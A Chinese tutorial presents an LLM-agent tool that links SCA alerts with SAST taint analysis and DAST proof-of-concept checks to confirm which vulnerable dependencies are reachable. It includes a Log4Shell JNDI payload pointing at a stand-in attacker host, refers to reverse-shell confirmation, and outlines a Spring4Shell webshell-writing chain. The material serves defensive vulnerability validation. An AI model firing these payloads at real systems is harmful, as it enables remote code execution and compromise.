SCA的“最后一公里”：基于LLM Agent联动SAST/DAST的漏洞可达性分析实践教学文档

python cli/agent/main.py process -i output.json -t opensca

SCA的“最后一公里”：基于LLM Agent联动SAST/DAST的漏洞可达性分析实践教学文档 1. 背景与问题分析 1.1 传统SCA工具的局限性 软件供应链安全（SCA）工具当前面临的核心困境： 广度有余，深度不足 ：只能识别应用中使用的组件及版本，关联漏洞库显示CVE编号和描述 无法判断漏洞真实存在性 ：缺乏对漏洞是否真正可被利用的验证能力 修复优先级混乱 ：所有CVE一视同仁，缺乏业务场景下的风险评估 1.2 三大核心痛点 误报率高 ：仅基于版本匹配，无法判断代码路径是否可达 优先级混乱 ：缺乏基于业务场景的风险评估机制 修复盲目 ：开发团队不知道优先修复哪些漏洞，往往采用一刀切升级策略 2. 解决方案设计思路 2.1 核心创新点 通过LLM Agent技术联动SDL工具链中的SAST（白盒扫描）和DAST（黑盒扫描）工具，实现漏洞可达性验证。 2.2 SCA + SAST 联动方案（白盒验证） 第一步：SCA告警识别 扫描项目，识别存在漏洞的组件（如：log4j-core-2.14.1.jar） 从漏洞库获取具体的漏洞信息： 漏洞类： org.apache.logging.log4j.core.lookup.JndiLookup 漏洞方法： lookup 方法 漏洞类型：RCE漏洞（Log4Shell） 第二步：SAST污点分析验证 SAST工具启动污点分析 Sink点设置 ：使用SCA提供的漏洞信息作为分析目标 分析逻辑 ：验证是否存在从用户输入到漏洞方法的可达路径 关键优势 ：直接验证代码层面的漏洞可利用性 2.3 SCA + DAST 联动方案（POC验证） 第一步：SCA漏洞发现 识别存在漏洞的组件和具体漏洞信息 第二步：针对性POC生成 基于漏洞信息生成专门的攻击Payload 示例：针对Log4Shell漏洞，生成 ${jndi:ldap://...} 格式的Payload 第三步：DAST精准验证 不再是盲目全站扫描 在HTTP头、参数等位置插入针对性Payload 通过DNSLog或反向Shell验证漏洞是否真实存在 3. 技术实现架构 3.1 整体架构设计 基于LangGraph的Agent架构，实现多步骤推理和信息编排： 输入层 使用OpenSCA工具进行组件扫描 接入玄镜官方漏洞库获取详细信息 核心处理层 LLM Agent ：基于DeepSeek-chat API 状态机设计 ：支持自主调用工具、循环查询、智能决策 信息编排 ：综合分析多个数据源的信息 3.2 信息获取与分析源 主要数据源 GitHub Security Advisories ：及时性好，质量高 厂商安全公告 ：权威性强，修复建议详细 GitHub提交分析 ：通过修复commit理解漏洞本质 PoC源 ：提供实际的攻击向量 信息处理流程 理解SCA告警信息 查询多个异构数据源 综合分析所有信息（包括PoC代码和commit diff） 推导出SAST/DAST的验证规则 4. 实践部署与测试 4.1 测试环境搭建 测试项目 项目名称：starsea-mall 技术栈：SpringBoot + Thymeleaf的电商商城项目 源码地址：https://github.com/StarSea99/starsea-mall 工具配置 LLM API ：DeepSeek-chat 框架 ：LangGraph + LangSmith生态 SCA工具 ：OpenSCA（https://github.com/XmirrorSecurity/OpenSCA-cli） 4.2 输出结果格式 主要输出文件 Enhanced Findings.json 包含原SCA输出 每个漏洞组件的SAST验证建议 每个漏洞组件的DAST验证建议 Processing Summary 任务总览信息 处理统计数据和性能指标 4.3 典型用例分析 DAST验证案例1：Log4Shell漏洞 输入 ：log4j-core漏洞信息 输出 ： 攻击方法：HTTP请求注入 具体API：所有接收用户输入的接口 参数名：所有HTTP头、参数位置 Payload： ${jndi:ldap://attacker.com/exp} 成功判定：DNS查询日志或反向连接 DAST验证案例2：Spring4Shell漏洞（CVE-2022-22965） 输出特征 ： 精准识别漏洞利用链 利用 class.module.classLoader... 属性链修改Tomcat日志配置 提供写入webshell的具体payload 完整的攻击向量描述 SAST验证案例：Ognl表达式注入 输出特征 ： 识别汇点（Sink）： OgnlCache.getValue 和 TextSqlNode.apply 构建完整数据流模式：从 HttpServletRequest （Source）到危险函数（Sink） SAST工具可直接使用的扫描模式 5. 技术优势与创新点 5.1 多工具协同优势 信息互补 ：SCA提供组件信息，SAST提供代码路径分析，DAST提供运行时验证 减少误报 ：通过多层验证确保漏洞的真实存在性 精准修复 ：提供具体的修复优先级和建议 5.2 LLM Agent的核心价值 复杂工作流处理 ：传统单一Prompt难以完成的复杂推理任务 智能信息整合 ：自动从多个数据源提取、分析、整合信息 自适应学习 ：通过LangGraph状态机实现智能决策循环 6. 部署与使用指南 6.1 环境要求 Python运行环境 LLM API密钥（DeepSeek-chat） GitHub Token（用于访问安全公告） OpenSCA配置 6.2 运行命令 6.3 项目资源 开源地址 ：https://github.com/P4nY0O/SCA-enhancer 技术支持 ：通过Issue和Pull Request交流贡献 联系方式 ：微信号与GitHub同名 7. 未来发展方向 7.1 短期优化 适配更多SCA工具的输入格式 优化输出格式以便自动集成到SAST/DAST工具 增加更多漏洞数据源支持 7.2 长期规划 实现自动补丁分析（Patch Diffing） 探索代码自动审计能力 扩展支持更多的编程语言和框架 8. 总结 本教学文档详细介绍了基于LLM Agent的SCA增强方案，该方案通过智能联动SAST和DAST工具，有效解决了传统SCA工具的"最后一公里"问题。关键技术突破在于利用LangGraph框架实现复杂工作流的自动化处理，通过多源信息整合和智能推理，为漏洞验证提供了切实可行的解决方案。 该方案已通过实际项目测试验证，证明在降低误报率、明确修复优先级、提高漏洞验证准确性方面具有显著效果，为软件供应链安全提供了新的技术思路和实践路径。